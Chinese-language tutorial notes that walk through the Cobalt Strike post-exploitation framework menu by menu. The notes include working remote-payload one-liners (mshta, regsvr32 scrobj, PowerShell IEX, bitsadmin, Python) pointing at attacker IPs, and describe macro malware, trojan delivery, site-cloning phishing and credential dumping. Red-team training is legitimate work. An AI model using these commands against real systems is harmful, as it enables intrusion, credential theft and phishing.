一、CobaltStrike 框架介绍
1.CobaltStrike 简介
Cobalt Strike(简称 CS)是一款高级的红队工具,广泛用于网络安全领域的渗透测试和后渗透活动。 它是一个多用途的后渗透框架,提供了丰富的功能,包括但不限于横向移动、凭证访问、数据窃取和 社会工程攻击。
CS由客户端(Operator Console)和服务端(Team Server)组成,支持多客户端与多服务端的连接配 置,以适应不同的渗透测试需求。
2.CobaltStrike 目录结构

二、CobaltStrike 基本使用
1.CS 启动
- 启动服务端
- 给程序添加执行权限
cd Server
chmod +x teamserver
chmod +x TeamServerImage
- 启动服务端
./teamserver [服务端IP地址] [服务端连接密码]

- Linux启动客户端
打开一个新的命令行终端,执行如下命令
cd Client
chmod +x cobaltstrike-client.sh
./cobaltstrike-client.sh
- Windows启动客户端
- 直接点击vbs脚本,弹出登录框

- 如果无法运行请检查
- cs 客户端文件路径是否包含中文,如有,请去除中文
- 系统空闲内存是否大于 4GB,如没有,请关闭其他软件及进程
- 检查系统是否已经安装并正确配置了 jdk,如没有,请正确安装和配置

- Alias:别名,用户名@服务端 IP 地址
- Host:服务端 IP 地址,可为域名
- Port:服务端口号,默认 50050,可进行修改
- User:用户名,可随意填写,只要不冲突即可
- Password:登录密码,启动服务端时设置的密码
- 成功连接到服务端

2.CS 工具栏

- Connect to team server:连接服务端
- Disonnect from team server:断开当前服务端连接
- Configure Listeners:配置监听器
- Show sessions in graph view:展示会话列表
- Show sessions in table view:展示视图列表 .
- Show targets in table view:展示目标列表
- Manage Web Server:管理 Web 服务 .
- Credentials:查看从靶机获取的账户密码
- Downloaded Files:查看从靶机下载的文件
- Keystrokes:查看键盘记录
- Screenshots:查看屏幕截图
3.CS 菜单

- New Connection:进行另外一个连接,支持连接多个服务器端
- Preferences:设置 Cobal Strike 界面、控制台、以及输出报告样式、TeamServer 连接记录
- Visualization:主要展示输出结果的形式
- Listenrs:创建一个 Listener
- VPN Interfaces:设置 VPN 接口 .
- Malleable C2 Profile:CS 默认 C2 配置文件
- Script Manager:脚本管理器,允许用户浏览、加载和组织 Aggressor 脚本 .
- Script Console:脚本控制台,在交互式界面中执行单个 Aggressor 脚本命令或脚本块
- Close:退出连接
4. View 菜单
- Applications:显示受害主机的应用信息,浏览器版本信息
- Credentials:显示所有已获取的受害主机的凭证,如使用 hashdump、Mimikatz 获取到的密码凭 证信息
- Downloads:查看已下载文件
- Event Log:主机上线记录以及团队协作聊天记录
- Keystrokes:查看键盘记录结果 .
- Proxy Pivots:查看代理模块
- Screenshots:查看所有屏幕截图 .
- Script Console:脚本控制台,加载第三方脚本以增强功能
- Targets:显示所有受害主机
- Web Log :所有访问 Web 服务的日志记录
5.Payloads 菜单
- HTML Application
- MS Office Macro
- Stager Payload Generator
- Stageless Payload Generator
- Windows Stager Payload .
- Windows Stageless Payload
- Windows Stageless Generate All Payloads
1)VBScript 脚本基础
2)HTML Application
- 简介:HTA 是一种可以封装 HTML、JavaScript 和其他 Web 技术的 Microsoft 技术,它允许创建交互式的应用程序,这些应用程序可以在 Windows 环境中运行。在渗透测试中,攻击者可能会滥用HTA 来执行恶意代码,因为用户可能会被诱导点击一个链接或打开一个附件,从而在他们的机器上运 行 HTA 文件。
- 作用:生成一个运行攻击载荷的 HTML 应用程序。

Method:三种运行攻击载荷的方法:
- Executable:是以十六进制的方式内嵌一个 EXE 到 HTA 里,运行时把 exe 释放到磁盘然后创建进程运行
- Powershell:通过 HTA 调用 powershell.exe 执行 payload
- VBA:通过调用 COM 组件来执行 payload (请确保目标机有 Excel.Application 组件否则会运行失败,注:组件源自 Office)
(1)Executable
1.生成payload

2.双击执行生成的hta文件
如果报错,解决方法详见hta-execute.pdf
(2)Powershell
1.生成payload

2.双击执行生成的 hta 文件,成功上线 beacon 会话
3.远程加载上线
-
使用 Host File 提供文件下载服务托管 hta 文件
Site Management > Host File

File:选择生成的evil.hta文件
Local URI:文件URI路径
Local Host:Web服务IP
Local Port:Web服务端口
Mime Type:Mime类型 -
Launch > 生成访问 hta 文件的 URL 地址

-
远程加载 hta 文件
打开 cmd 命令行执行如下命令
mshta http://10.34.126.129:802/download/file.ext

- 成功上线新的 beacon 会话

4.选中要操作的目标主机,右键interact进入交互命令界面,在此使用Beacon Commands对victim 主机执行各种操作。
如:
设置睡眠周期(秒): sleep 2
执行命令: shell whoami
查看可用命令: help

(3)VBA
在安装有 Office 套件的 windows 主机上双击执行 hta 文件,即可成功上线新的 beacon 会话
3)MS Office Macro
- 简介:生成 Office 宏病毒文件
- 生成步骤: Payloads -> MS Office Macro -> Copy
- 利用方法:将代码放到 Word 宏里面,另存为启用宏的Word文档(*.docm),受害者点击启用内 容,即可上线。

实操实验:[[02.1 CobaltStrike之宏钓鱼及shellcode]]
4)Stager Payload Generator
- 简介:生成第一阶段的有效载荷(stager)
- 功能:在目标系统上建立一个初始的、有限功能的 Beacon。这个 Beacon 会与攻击者的团队服务器 建立通信,并下载第二阶段的有效载荷(stage)
- output(输出格式)
C
C#
COM Scriptlet
Java
Perl
Powershell
Powershell Command
Python
Raw
Ruby
Veil
VBA
- COM Scriptlet
COM Scriptlet 是一种COM对象,它可以在 HTML 文件中嵌入脚本代码,并在客户端的浏览器中执 行。当浏览器打开 HTML 页面时, COM Scriptlet 会被自动加载和执行,以便在客户端上运行脚本。
生成 payload.sct 文件,注意不要勾选Use x64 payload。
Regsvr32 命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。
1.执行本地 Com Scriptlet 获取反向 Shell
regsvr32.exe /n /s /u /i:payload.sct scrobj.dll
regsvr32.exe:注册 DLL 文件的命令行工具。
/n:表示不运行 DLL 中的 DllRegisterServer 函数。
/s:表示在注册过程中不显示任何消息框。
/u:表示注销 DLL 文件,而不是注册。
/i:payload.sct:指定sct脚本文件,包含了要执行的注册或注销操作的指令。
scrobj.dll:是一个与 Windows Scripting Host 相关的动态链接库(DLL),它允许使用 VBScript 或 JScript 等脚本语言创建 COM 组件。这个 DLL 作为 COM 服务器,提供了一些接口和功能,使得脚本可以被注册、卸载,并且可以执行特定的脚本代码。
2.执行远程 Com Scriptlet 获取反向 Shell
把 payload.sct 文件托管到web服务器,或者使用 CobaltStrike 的Host File 功能,使用如下方法加载执行上线。
regsvr32 /u /s /i:http://10.34.126.129:809/do/file.ext scrobj.dll
/i:url:指定一个 URL, scrobj.dll 会从该 URL 下载并执行 SCT 脚本。
- Powershell
powershell -ep bypass -f payload.ps1
-
Powershell Command
生成一句话 powershell 命令 -
RAW
原始 shellcode,无特殊格式 -
Veil
配合 Veil-Framework 框架使用的 shellcode
https://github.com/Veil-Framework/Veil
5)Stageless Payload Generator
简介:创建一个包含所有所需功能的一次性有效载荷,而不是分阶段下载。

6)Windows Stager Payload
简介:这是专门为 Windows 系统设计的第一阶段有效载荷。它通常是一个小型的、隐蔽的程序片段,用于在目标机器上建立一个通信通道,并准备接收第二阶段的有效载荷。

生成 exe 木马上线
- 生成 Windows 可执行程序木马文件
- 上传木马到目标机器:通过 Webshell 上传执行,通过引诱目标下载,钓鱼
- 执行木马文件,等待 Beacon 回连 CS
7)Windows Stageless Payload
简介:为 Windows 系统设计的一次性有效载荷,它包含了执行完整攻击所需的所有代码和资源, 不需要后续的通信或下载。

8)Windows Stageless Generate All Payloads
简介:允许用户生成所有可能的 Windows stageless 有效载荷。

6.Attacks 菜单
1)Scripted Web Delivery
简介:开启一个 web 服务托管 payload,并根据选择的类型生成一个命令行来执行 payload 上线便于在目标主机上下载和执行

生成payloa类型:
- exe
http://10.34.126.129:802/e.exe
- python
python -c "import urllib2; exec urllib2.urlopen('http://10.34.126.129:802/a').read();"
- bitsadmin
cmd.exe /c bitsadmin /transfer 7d0f http://124.71.45.28:802/b %APPDATA%\7d0f.exe&%APPDATA%\7d0f.exe&del %APPDATA%\7d0f.exe
- regsvr32
regsvr32 /s /n /u /i:http://124.71.45.28:802/d scrobj.dll
- powershell
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.34.126.129:802/a'))"

2)Signed Applet Attack
使用 Java 自签名的程序进行钓鱼攻击(该方式已过时)

3)Smart Applet Attack
自动检测 Java 版本并进行攻击,针对 Java 1.6.0_45 以下以及 Java 1.7.0_21 以下版本

4)System Profiler
简介:用来获取一些系统信息,比如系统版本,Flash 版本,浏览器版本等 作用:可以用于前期信息收集,可以通过水坑式攻击来获取目标所用的软件以及操作系统来针对性 的攻击。


5)Spear Phish
简介:用来邮件钓鱼的模块,鱼叉钓鱼攻击

7.Site Management 菜单
1)manager
主要管理我们所创建的 Payload 以及各类 PowerShell 管理地址

2)Clone Site
克隆网站,可以记录受害者提交的数据
Clone Site + System Profiler
实验:[[02.2 CobaltStrike之钓鱼攻击]]
克隆网站,还可以通过克隆的网站实现钓鱼。
8.Reporting 菜单
- Activity Report:本报告显示了此次参与的时间表。
- Hosts Report:此报告显示了在此次参与期间收集的主机信息。
- Indicators of Compromise:本报告记录了 Cobalt Strike 在此次攻击中产生的妥协指标。
- Sessions Report:此报告逐个会话地记录活动。
- Social Engineering Report:本报告记录了此项目的社会工程部分。
- Tactics, Techniques, and Procedures:这份报告将Cobalt Strike的行动映射到 MITRE的对抗战术、技术和常识( ATT&CK)矩阵。
Reset Data:此操作将清除Cobalt Strike的数据模型。将丢失收集的所有信息。将无法取回这些信息。
Export Data:导出数据
9.Help 菜单
- Homepage:访问 https://www.cobaltstrike.com 主页
- Support:进入 https://www.cobaltstrike.com/support/ 页面
- Arsenal:进入 https://download.cobaltstrike.com/scripts 页面
- Community Kit:进入社区插件网站
- Sleep Manual:进入 Sleep 语言官方文档网站
- Default Keyboard Shortcuts:默认快捷键
- System Information:提供有关 Cobalt Strike 客户端和服务器的信息
- About:关于,查看 Cobalt Strike 版本相关信息
10.Beacon 右键菜单
- Interact:打开 Beacon 会话
- Access
- Dump Hashes # 获取 hash
- Elevate # 提权
- Golden Ticket # 生成黄金票据注入当前会话
- Make token # 凭证转换
- Run Mimikatz # 运行 Mimikatz
- Spawn As # 用其他用户生成 Cobalt Strike 侦听器
- Explore
- Browser Pivot # 劫持目标浏览器进程
- Desktop(VNC) # 桌面交互
- File Browser # 文件浏览器
- Net View # 命令 Net View
- Port Scan # 端口扫描
- Process List # 进程列表
- Screenshot # 截图
- Pivoting
- SOCKS Server # 代理服务
- Listener # 反向端口转发
- Deploy VPN # 部署 VPN
- Spawn:外部监听器 (如指派给 MSF,获取 meterpreter 权限)
- Session
- Note # 备注
- Remove # 删除
- Sleep # 指定被控端休眠时间,默认 60 秒一次回传
- Exit # 退出
三、CobaltStrike 监听器详解
敬请期待
四、CobaltStrike 文档
https://wbglil.gitbook.io/cobalt-strike